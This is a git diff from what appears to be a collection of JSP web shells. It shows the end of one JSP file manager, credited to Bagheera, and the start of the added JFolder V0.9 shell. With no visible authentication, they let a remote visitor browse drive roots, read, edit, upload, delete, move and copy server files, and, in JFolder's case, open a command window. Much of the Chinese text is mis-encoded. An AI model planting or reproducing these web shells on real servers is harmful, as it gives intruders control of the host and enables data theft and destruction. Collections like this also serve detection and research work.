.login { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666; width:320px; }
|
||||||
|
.header { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 10pt; color: #666666; font-weight: bold; }
|
||||||
|
.tableHeader { background-color: #c0c0c0; color: #666666;}
|
||||||
|
.tableHeaderLight { background-color: #cccccc; color: #666666;}
|
||||||
|
.main { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
|
||||||
|
.copy { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #999999;}
|
||||||
|
.copy:Hover { color: #666666; text-decoration : underline; }
|
||||||
|
.button {background-color: #c0c0c0; color: #666666;
|
||||||
|
border-left: 1px solid #999999; border-right: 1px solid #999999;
|
||||||
|
border-top: 1px solid #999999; border-bottom: 1px solid #999999}
|
||||||
|
.button:Hover { color: #444444 }
|
||||||
|
td { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
|
||||||
|
A { text-decoration: none; }
|
||||||
|
A:Hover { color : Red; text-decoration : underline; }
|
||||||
|
BODY { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
|
||||||
|
</style>
|
||||||
|
<script type="text/javascript">
|
||||||
|
<!--
|
||||||
|
var check = false;
|
||||||
|
function dis(){
|
||||||
|
check = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
var DOM = 0, MS = 0, OP = 0;
|
||||||
|
function CheckBrowser() {
|
||||||
|
if (window.opera) OP = 1;
|
||||||
|
if(document.getElementById) {
|
||||||
|
DOM = 1;
|
||||||
|
}
|
||||||
|
if(document.all && !OP) {
|
||||||
|
MS = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function selrow (element, i){
|
||||||
|
CheckBrowser();
|
||||||
|
var erst;
|
||||||
|
if ((OP==1)||(MS == 1)) erst = element.firstChild.firstChild;
|
||||||
|
else if (DOM == 1) erst = element.firstChild.nextSibling.firstChild;
|
||||||
|
//MouseIn
|
||||||
|
if (i == 0)
|
||||||
|
if (erst.checked == true) element.style.backgroundColor = '#dddddd';
|
||||||
|
else element.style.backgroundColor = '#eeeeee';
|
||||||
|
//MouseOut
|
||||||
|
else if (i == 1){
|
||||||
|
if (erst.checked == true) element.style.backgroundColor = '#dddddd';
|
||||||
|
else element.style.backgroundColor = '#ffffff';
|
||||||
|
}
|
||||||
|
//MouseClick
|
||||||
|
else if ((i == 2)&&(!check)){
|
||||||
|
if (erst.checked == true) element.style.backgroundColor = '#eeeeee';
|
||||||
|
else element.style.backgroundColor = '#dddddd';
|
||||||
|
erst.click();
|
||||||
|
}
|
||||||
|
else check = false;
|
||||||
|
}
|
||||||
|
//-->
|
||||||
|
</script>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
//<2F>ϴ<EFBFBD>
|
||||||
|
if ((request.getContentType()!=null)&&(request.getContentType().toLowerCase().startsWith("multipart"))){
|
||||||
|
response.setContentType("text/html");
|
||||||
|
HttpMultiPartParser parser = new HttpMultiPartParser();
|
||||||
|
boolean error = false;
|
||||||
|
try{
|
||||||
|
Hashtable ht = parser.processData(request.getInputStream(), "-", tempdir);
|
||||||
|
if (ht.get("myFile")!=null){
|
||||||
|
FileInfo fi = (FileInfo)ht.get("myFile");
|
||||||
|
File f = fi.file;
|
||||||
|
//<2F><><EFBFBD>ļ<EFBFBD><C4BC>ӻ<EFBFBD><D3BB><EFBFBD>Ŀ¼<C4BF>︴<EFBFBD>Ƴ<EFBFBD><C6B3><EFBFBD>
|
||||||
|
String path = (String)ht.get("dir");
|
||||||
|
if (!path.endsWith(File.separator)) path = path+File.separator;
|
||||||
|
if (!f.renameTo(new File(path+f.getName()))){
|
||||||
|
request.setAttribute("message", "<22><EFBFBD><DEB7>ϴ<EFBFBD><CFB4>ļ<EFBFBD>.");
|
||||||
|
error = true;
|
||||||
|
f.delete();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
request.setAttribute("message", "<22><>ѡ<EFBFBD><D1A1><EFBFBD>ϴ<EFBFBD><CFB4>ļ<EFBFBD>!");
|
||||||
|
error = true;
|
||||||
|
}
|
||||||
|
request.setAttribute("dir", (String)ht.get("dir"));
|
||||||
|
}
|
||||||
|
catch (Exception e){
|
||||||
|
request.setAttribute("message", "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>´<EFBFBD><C2B4><EFBFBD>:"+e+". <20>ϴ<EFBFBD>ʧ<EFBFBD><CAA7>!");
|
||||||
|
error = true;
|
||||||
|
}
|
||||||
|
if (!error) request.setAttribute("message", "<22>ļ<EFBFBD><C4BC>ϴ<EFBFBD><CFB4>ɹ<EFBFBD>.");
|
||||||
|
}
|
||||||
|
else if (request.getParameter("editfile")!=null){
|
||||||
|
%>
|
||||||
|
<title>JSP<53>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D>༭<EFBFBD>ļ<EFBFBD>:<%=request.getParameter("editfile")%></title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<%
|
||||||
|
String encoding="gb2312";
|
||||||
|
request.setAttribute("dir", null);
|
||||||
|
File ef = new File(request.getParameter("editfile"));
|
||||||
|
BufferedReader reader = new BufferedReader(new FileReader(ef));
|
||||||
|
String disable = "";
|
||||||
|
if (!ef.canWrite()) disable = "<22><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>";
|
||||||
|
out.print("<form action=\""+browser_name+"\" method=\"Post\">\n"+
|
||||||
|
"<textarea name=\"text\" wrap=\"off\" cols=\""+
|
||||||
|
EDITFIELD_COLS+"\" rows=\""+EDITFIELD_ROWS+"\""+">"+disable);
|
||||||
|
|
||||||
|
String c;
|
||||||
|
while ((c =reader.readLine())!=null){
|
||||||
|
c=substr(c,"&", "&");
|
||||||
|
c=substr(c,"<", "<");
|
||||||
|
c=substr(c,">", ">");
|
||||||
|
c=substr(c,"\"", """);
|
||||||
|
out.print(c+"\n");
|
||||||
|
}
|
||||||
|
reader.close();
|
||||||
|
%></textarea>
|
||||||
|
<input type="hidden" name="nfile" value="<%= request.getParameter("editfile")%>">
|
||||||
|
<table><tr>
|
||||||
|
<td title="Enter the new filename"><input type="text" name="new_name" value="<%=ef.getName()%>"></td>
|
||||||
|
<td><input type="Submit" name="Submit" value="<22><><EFBFBD><EFBFBD>"></td>
|
||||||
|
<td><input type="Submit" name="Submit" value="ȡ<><C8A1>"></td></tr>
|
||||||
|
<tr><td><input type="checkbox" name="Backup" checked><3E><>д</td></tr>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
else if (request.getParameter("nfile")!=null){
|
||||||
|
File f = new File(request.getParameter("nfile"));
|
||||||
|
File new_f = new File(getDir(f.getParent(), request.getParameter("new_name")));
|
||||||
|
if (request.getParameter("Submit").equals("Save")){
|
||||||
|
if (new_f.exists()&&request.getParameter("Backup")!=null){
|
||||||
|
File bak = new File(new_f.getAbsolutePath()+".bak");
|
||||||
|
bak.delete();
|
||||||
|
new_f.renameTo(bak);
|
||||||
|
}
|
||||||
|
BufferedWriter outs = new BufferedWriter(new FileWriter(new_f));
|
||||||
|
outs.write(request.getParameter("text"));
|
||||||
|
outs.flush();
|
||||||
|
outs.close();
|
||||||
|
}
|
||||||
|
request.setAttribute("dir", f.getParent());
|
||||||
|
}
|
||||||
|
//ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||||
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Delete Files"))){
|
||||||
|
Vector v = expandFileList(request.getParameterValues("selfile"), true);
|
||||||
|
boolean error = false;
|
||||||
|
for (int i=v.size()-1;i>=0;i--){
|
||||||
|
File f = (File)v.get(i);
|
||||||
|
if (!f.canWrite()||!f.delete()){
|
||||||
|
request.setAttribute("message", "<22><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>ļ<EFBFBD>"+f.getAbsolutePath()+". ɾ<><C9BE>ʧ<EFBFBD><CAA7>");
|
||||||
|
error = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ((!error)&&(v.size()>1)) request.setAttribute("message", "All files deleted");
|
||||||
|
else if ((!error)&&(v.size()>0)) request.setAttribute("message", "File deleted");
|
||||||
|
else if (!error) request.setAttribute("message", "No files selected");
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD>Ŀ¼
|
||||||
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create Dir"))){
|
||||||
|
String dir = ""+request.getAttribute("dir");
|
||||||
|
String dir_name = request.getParameter("cr_dir");
|
||||||
|
String new_dir = getDir (dir, dir_name);
|
||||||
|
if (new File(new_dir).mkdirs()){
|
||||||
|
request.setAttribute("message", "Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||||
|
}
|
||||||
|
else request.setAttribute("message", "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼"+new_dir+"ʧ<><CAA7>");
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create File"))){
|
||||||
|
String dir = ""+request.getAttribute("dir");
|
||||||
|
String file_name = request.getParameter("cr_dir");
|
||||||
|
String new_file = getDir (dir, file_name);
|
||||||
|
//Test, if file_name is empty
|
||||||
|
if ((file_name.trim()!="")&&!file_name.endsWith(File.separator)){
|
||||||
|
if (new File(new_file).createNewFile()) request.setAttribute("message", "<22>ļ<EFBFBD><C4BC>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>");
|
||||||
|
else request.setAttribute("message", "<22><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"+new_file+"ʧ<><CAA7>");
|
||||||
|
}
|
||||||
|
else request.setAttribute("message", "<22><><EFBFBD><EFBFBD>: "+file_name+"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||||
|
}
|
||||||
|
//ת<><D7AA><EFBFBD>ļ<EFBFBD>
|
||||||
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Move Files"))){
|
||||||
|
Vector v = expandFileList(request.getParameterValues("selfile"), true);
|
||||||
|
String dir = ""+request.getAttribute("dir");
|
||||||
|
String dir_name = request.getParameter("cr_dir");
|
||||||
|
String new_dir = getDir(dir, dir_name);
|
||||||
|
boolean error = false;
|
||||||
|
if (!new_dir.endsWith(File.separator)) new_dir+=File.separator;
|
||||||
|
for (int i=v.size()-1;i>=0;i--){
|
||||||
|
File f = (File)v.get(i);
|
||||||
|
if (!f.canWrite()||!f.renameTo(new File(new_dir+f.getAbsolutePath().substring(dir.length())))){
|
||||||
|
request.setAttribute("message", "<22><><EFBFBD><EFBFBD>ת<EFBFBD><D7AA>"+f.getAbsolutePath()+".ת<><D7AA>ʧ<EFBFBD><CAA7>");
|
||||||
|
error = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ((!error)&&(v.size()>1)) request.setAttribute("message", "ȫ<><C8AB><EFBFBD>ļ<EFBFBD>ת<EFBFBD>Ƴɹ<C6B3>");
|
||||||
|
else if ((!error)&&(v.size()>0)) request.setAttribute("message", "<22>ļ<EFBFBD>ת<EFBFBD>Ƴɹ<C6B3>");
|
||||||
|
else if (!error) request.setAttribute("message", "<22><>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD>");
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Copy Files"))){
|
||||||
|
Vector v = expandFileList(request.getParameterValues("selfile"), true);
|
||||||
|
String dir = (String)request.getAttribute("dir");
|
||||||
|
if (!dir.endsWith(File.separator)) dir+=File.separator;
|
||||||
|
String dir_name = request.getParameter("cr_dir");
|
||||||
|
String new_dir = getDir(dir, dir_name);
|
||||||
|
boolean error = false;
|
||||||
|
if (!new_dir.endsWith(File.separator)) new_dir+=File.separator;
|
||||||
|
byte buffer[] = new byte[0xffff];
|
||||||
|
try{
|
||||||
|
for (int i=0;i<v.size();i++){
|
||||||
|
File f_old = (File)v.get(i);
|
||||||
|
File f_new = new File(new_dir+f_old.getAbsolutePath().substring(dir.length()));
|
||||||
|
if (f_old.isDirectory()) f_new.mkdirs();
|
||||||
|
else if (!f_new.exists()){
|
||||||
|
InputStream fis = new FileInputStream (f_old);
|
||||||
|
OutputStream fos = new FileOutputStream (f_new);
|
||||||
|
int b;
|
||||||
|
while((b=fis.read(buffer))!=-1) fos.write(buffer, 0, b);
|
||||||
|
fis.close();
|
||||||
|
fos.close();
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
//<2F>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
request.setAttribute("message", "<22><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD>"+f_old.getAbsolutePath()+",<2C>ļ<EFBFBD><C4BC>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
error = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (IOException e){
|
||||||
|
request.setAttribute("message", "<22><><EFBFBD><EFBFBD>"+e+".<2E><><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>");
|
||||||
|
error = true;
|
||||||
|
}
|
||||||
|
if ((!error)&&(v.size()>1)) request.setAttribute("message", "ȫ<><C8AB><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Ƴɹ<C6B3>");
|
||||||
|
else if ((!error)&&(v.size()>0)) request.setAttribute("message", "<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Ƴɹ<C6B3>");
|
||||||
|
else if (!error) request.setAttribute("message", "<22><>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD>");
|
||||||
|
}
|
||||||
|
//Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>
|
||||||
|
if ((request.getAttribute("dir")!=null)){
|
||||||
|
%>
|
||||||
|
<title>JSP<53>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>:<%=request.getAttribute("dir")%></title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<table>
|
||||||
|
<tr><td>
|
||||||
|
<% if (request.getAttribute("message")!=null){
|
||||||
|
out.println("<table border=\"0\" width=\"100%\"><tr><td bgcolor=\"#FFFF00\" align=\"center\">");
|
||||||
|
out.println(request.getAttribute("message"));
|
||||||
|
out.println("</td></tr></table>");
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<form action="<%= browser_name %>" method="Post">
|
||||||
|
<table border="1" cellpadding="1" cellspacing="0" width="100%">
|
||||||
|
<%
|
||||||
|
String dir = URLEncoder.encode(""+request.getAttribute("dir"));
|
||||||
|
String cmd = browser_name+"?dir="+dir;
|
||||||
|
out.println("<th bgcolor=\"#c0c0c0\"></th><th title=\"<22><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\" bgcolor=\"#c0c0c0\"><a href=\""+cmd+"&sort=1\"><3E>ļ<EFBFBD><C4BC><EFBFBD></a></th>"+
|
||||||
|
"<th title=\"<22><><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\" bgcolor=\"#c0c0c0\"><a href=\""+cmd+"&sort=2\"><3E><>С</th>"+
|
||||||
|
"<th title=\"<22><><EFBFBD><EFBFBD><EFBFBD>ڳ<EFBFBD><DAB3><EFBFBD><EFBFBD><EFBFBD>\" bgcolor=\"#c0c0c0\"><a href=\""+cmd+"&sort=3\"><3E><><EFBFBD><EFBFBD></th>"+
|
||||||
|
"<th bgcolor=\"#c0c0c0\"> </th><th bgcolor=\"#c0c0c0\"> </th>");
|
||||||
|
char trenner=File.separatorChar;
|
||||||
|
File f=new File(""+request.getAttribute("dir"));
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>߷<EFBFBD><DFB7><EFBFBD>
|
||||||
|
File[] entry=File.listRoots();
|
||||||
|
for (int i=0;i<entry.length;i++){
|
||||||
|
out.println("<tr bgcolor='#ffffff'\">");
|
||||||
|
out.println("<td><3E><><EFBFBD>л<EFBFBD><D0BB><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD>̷<EFBFBD><CCB7><EFBFBD><span style=\"background-color: rgb(255,255,255);color:rgb(255,0,0)\">");
|
||||||
|
String name = URLEncoder.encode(entry[i].getAbsolutePath());
|
||||||
|
String buf = entry[i].getAbsolutePath();
|
||||||
|
out.println("<22><><a href=\""+browser_name+"?dir="+name+"\">["+buf+"]</a>");
|
||||||
|
out.println("</td></tr>");
|
||||||
|
|
||||||
|
}
|
||||||
|
out.println("<br>");
|
||||||
|
//..
|
||||||
|
if (f.getParent()!=null){
|
||||||
|
out.println("<tr bgcolor='#ffffff' onmouseover=\"this.style.backgroundColor = '#eeeeee'\" onmouseout=\"this.style.backgroundColor = '#ffffff'\">");
|
||||||
|
out.println("<td></td><td>");
|
||||||
|
out.println("<a href=\""+browser_name+"?dir="+URLEncoder.encode(f.getParent())+"\">[..]</a>");
|
||||||
|
out.println("</td></tr>");
|
||||||
|
}
|
||||||
|
//<2F>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼
|
||||||
|
entry=f.listFiles();
|
||||||
|
if (entry!=null&&entry.length>0){
|
||||||
|
int mode=1;
|
||||||
|
if (request.getParameter("sort")!=null) mode = Integer.parseInt(request.getParameter("sort"));
|
||||||
|
Arrays.sort(entry, new FileComp(mode));
|
||||||
|
String ahref = "<a onmousedown=\"javascript:dis();\" href=\"";
|
||||||
|
for (int i=0;i<entry.length;i++){
|
||||||
|
String name = URLEncoder.encode(entry[i].getAbsolutePath());
|
||||||
|
String link;
|
||||||
|
String dlink = " ";
|
||||||
|
String elink = " ";
|
||||||
|
String buf = entry[i].getName();
|
||||||
|
if (entry[i].isDirectory()){
|
||||||
|
if (entry[i].canRead())
|
||||||
|
link = ahref+browser_name+"?dir="+name+"\">["+buf+"]</a>";
|
||||||
|
else
|
||||||
|
link = "["+buf+"]";
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
if (entry[i].canRead()){
|
||||||
|
if (entry[i].canWrite()){
|
||||||
|
link=ahref+browser_name+"?file="+name+"\">"+buf+"</a>";
|
||||||
|
dlink=ahref+browser_name+"?downfile="+name+"\"><3E><><EFBFBD><EFBFBD></a>";
|
||||||
|
elink=ahref+browser_name+"?editfile="+name+"\"><3E>༭</a>";
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
link=ahref+browser_name+"?file="+name+"\"><i>"+buf+"</i></a>";
|
||||||
|
dlink=ahref+browser_name+"?downfile="+name+"\"><3E><><EFBFBD><EFBFBD></a>";
|
||||||
|
elink=ahref+browser_name+"?editfile="+name+"\"><3E>鿴</a>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
link = buf;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String date = DateFormat.getDateTimeInstance().format(new Date(entry[i].lastModified()));
|
||||||
|
out.println("<tr bgcolor='#ffffff' onmouseup = \"javascript:selrow(this, 2);\" "+
|
||||||
|
"onmouseover=\"javascript:selrow(this, 0);\" onmouseout=\"javascript:selrow(this, 1);\">");
|
||||||
|
out.println("<td><input type=\"checkbox\" name=\"selfile\" value=\""+name+"\" onmousedown=\"javascript:dis();\"></td>");
|
||||||
|
out.println("<td>"+link+"</td><td align=\"right\">"+entry[i].length()+
|
||||||
|
" bytes</td><td align=\"right\">"+
|
||||||
|
date+"</td><td>"
|
||||||
|
+dlink+"</td><td>"+elink+"</td></tr>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
</table>
|
||||||
|
<table>
|
||||||
|
<input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
|
||||||
|
<tr>
|
||||||
|
<td title="<22><><EFBFBD><EFBFBD>ѡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"><input class="button" type="Submit" name="Submit" value="Save as zip"></td>
|
||||||
|
<td colspan="2" title="ɾ<><C9BE><EFBFBD><EFBFBD>ѡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>"><input class="button" type="Submit" name="Submit" value="Delete Files"></td></tr>
|
||||||
|
<tr>
|
||||||
|
<td><input type="text" name="cr_dir"></td>
|
||||||
|
<td><input class="button" type="Submit" name="Submit" value="Create Dir"></td>
|
||||||
|
<td><input class="button" type="Submit" name="Submit" value="Create File"></td>
|
||||||
|
<td><input class="button" type="Submit" name="Submit" value="Move Files"></td>
|
||||||
|
<td><input class="button" type="Submit" name="Submit" value="Copy Files"></td></tr>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<form action="<%= browser_name %>" enctype="multipart/form-data" method="POST">
|
||||||
|
<table cellpadding="0">
|
||||||
|
<tr>
|
||||||
|
<td><input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
|
||||||
|
<input type="file" name="myFile"></td>
|
||||||
|
<td><input type="Submit" class="button" name="Submit" value="Upload"></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
<hr>
|
||||||
|
<center><small>JSP <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> v1.001 By Bagheera<a href="http://jmmm.com">http://jmmm.com</a>
|
||||||
|
</small></center>
|
||||||
|
</td></tr></table>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%>
|
||||||
2317
net-friend/jsp/ma3.jsp
Normal file
2317
net-friend/jsp/ma3.jsp
Normal file
File diff suppressed because it is too large
Load Diff
1780
net-friend/jsp/ma4.jsp
Normal file
1780
net-friend/jsp/ma4.jsp
Normal file
File diff suppressed because it is too large
Load Diff
995
net-friend/jsp/no.jsp
Normal file
995
net-friend/jsp/no.jsp
Normal file
@@ -0,0 +1,995 @@
|
|||||||
|
<%
|
||||||
|
/**
|
||||||
|
JFolder V0.9 windows platform
|
||||||
|
@Filename<6D><65> JFolder.jsp
|
||||||
|
@Description<6F><6E> һ<><D2BB><EFBFBD><EFBFBD>ϵͳ<CFB5>ļ<EFBFBD>Ŀ¼<C4BF><C2BC>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṩ<EFBFBD><E1B9A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD>
|
||||||
|
@Author<6F><72> Steven Cee
|
||||||
|
@Email <20><> cqq1978@Gmail.com
|
||||||
|
@Bugs : <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ
|
||||||
|
*/
|
||||||
|
%>
|
||||||
|
<%@ page contentType="text/html;charset=gb2312"%>
|
||||||
|
<%@page import="java.io.*,java.util.*,java.net.*" %>
|
||||||
|
<%!
|
||||||
|
private final static int languageNo=0; //<2F><><EFBFBD>汾<D4B0><E6B1BE>0 : <20><><EFBFBD>ģ<EFBFBD> 1<><31>Ӣ<EFBFBD><D3A2>
|
||||||
|
String strThisFile="JFolder.jsp";
|
||||||
|
String[] authorInfo={" <font color=red> д<>IJ<EFBFBD><C4B2>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ð<EFBFBD> - - by <20><><EFBFBD><EFBFBD>ǿ http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};
|
||||||
|
String[] strFileManage = {"<22><> <20><> <20><> <20><>","File Management"};
|
||||||
|
String[] strCommand = {"CMD <20><> <20><>","Command Window"};
|
||||||
|
String[] strSysProperty = {"ϵ ͳ <20><> <20><>","System Property"};
|
||||||
|
String[] strHelp = {"<22><> <20><>","Help"};
|
||||||
|
String[] strParentFolder = {"<22>ϼ<EFBFBD>Ŀ¼","Parent Folder"};
|
||||||
|
String[] strCurrentFolder= {"<22><>ǰĿ¼","Current Folder"};
|
||||||
|
String[] strDrivers = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Drivers"};
|
||||||
|
String[] strFileName = {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","File Name"};
|
||||||
|
String[] strFileSize = {"<22>ļ<EFBFBD><C4BC><EFBFBD>С","File Size"};
|
||||||
|
String[] strLastModified = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Last Modified"};
|
||||||
|
String[] strFileOperation= {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","Operations"};
|
||||||
|
String[] strFileEdit = {"<22><EFBFBD>","Edit"};
|
||||||
|
String[] strFileDown = {"<22><><EFBFBD><EFBFBD>","Download"};
|
||||||
|
String[] strFileCopy = {"<22><><EFBFBD><EFBFBD>","Move"};
|
||||||
|
String[] strFileDel = {"ɾ<><C9BE>","Delete"};
|
||||||
|
String[] strExecute = {"ִ<><D6B4>","Execute"};
|
||||||
|
String[] strBack = {"<22><><EFBFBD><EFBFBD>","Back"};
|
||||||
|
String[] strFileSave = {"<22><><EFBFBD><EFBFBD>","Save"};
|
||||||
|
|
||||||
|
public class FileHandler
|
||||||
|
{
|
||||||
|
private String strAction="";
|
||||||
|
private String strFile="";
|
||||||
|
void FileHandler(String action,String f)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class UploadMonitor {
|
||||||
|
|
||||||
|
static Hashtable uploadTable = new Hashtable();
|
||||||
|
|
||||||
|
static void set(String fName, UplInfo info) {
|
||||||
|
uploadTable.put(fName, info);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void remove(String fName) {
|
||||||
|
uploadTable.remove(fName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static UplInfo getInfo(String fName) {
|
||||||
|
UplInfo info = (UplInfo) uploadTable.get(fName);
|
||||||
|
return info;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public class UplInfo {
|
||||||
|
|
||||||
|
public long totalSize;
|
||||||
|
public long currSize;
|
||||||
|
public long starttime;
|
||||||
|
public boolean aborted;
|
||||||
|
|
||||||
|
public UplInfo() {
|
||||||
|
totalSize = 0l;
|
||||||
|
currSize = 0l;
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
aborted = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public UplInfo(int size) {
|
||||||
|
totalSize = size;
|
||||||
|
currSize = 0;
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
aborted = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getUprate() {
|
||||||
|
long time = System.currentTimeMillis() - starttime;
|
||||||
|
if (time != 0) {
|
||||||
|
long uprate = currSize * 1000 / time;
|
||||||
|
return convertFileSize(uprate) + "/s";
|
||||||
|
}
|
||||||
|
else return "n/a";
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getPercent() {
|
||||||
|
if (totalSize == 0) return 0;
|
||||||
|
else return (int) (currSize * 100 / totalSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getTimeElapsed() {
|
||||||
|
long time = (System.currentTimeMillis() - starttime) / 1000l;
|
||||||
|
if (time - 60l >= 0){
|
||||||
|
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||||
|
else return time / 60 + ":0" + (time % 60) + "m";
|
||||||
|
}
|
||||||
|
else return time<10 ? "0" + time + "s": time + "s";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getTimeEstimated() {
|
||||||
|
if (currSize == 0) return "n/a";
|
||||||
|
long time = System.currentTimeMillis() - starttime;
|
||||||
|
time = totalSize * time / currSize;
|
||||||
|
time /= 1000l;
|
||||||
|
if (time - 60l >= 0){
|
||||||
|
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||||
|
else return time / 60 + ":0" + (time % 60) + "m";
|
||||||
|
}
|
||||||
|
else return time<10 ? "0" + time + "s": time + "s";
|
||||||
|
}
|
||||||
|
|
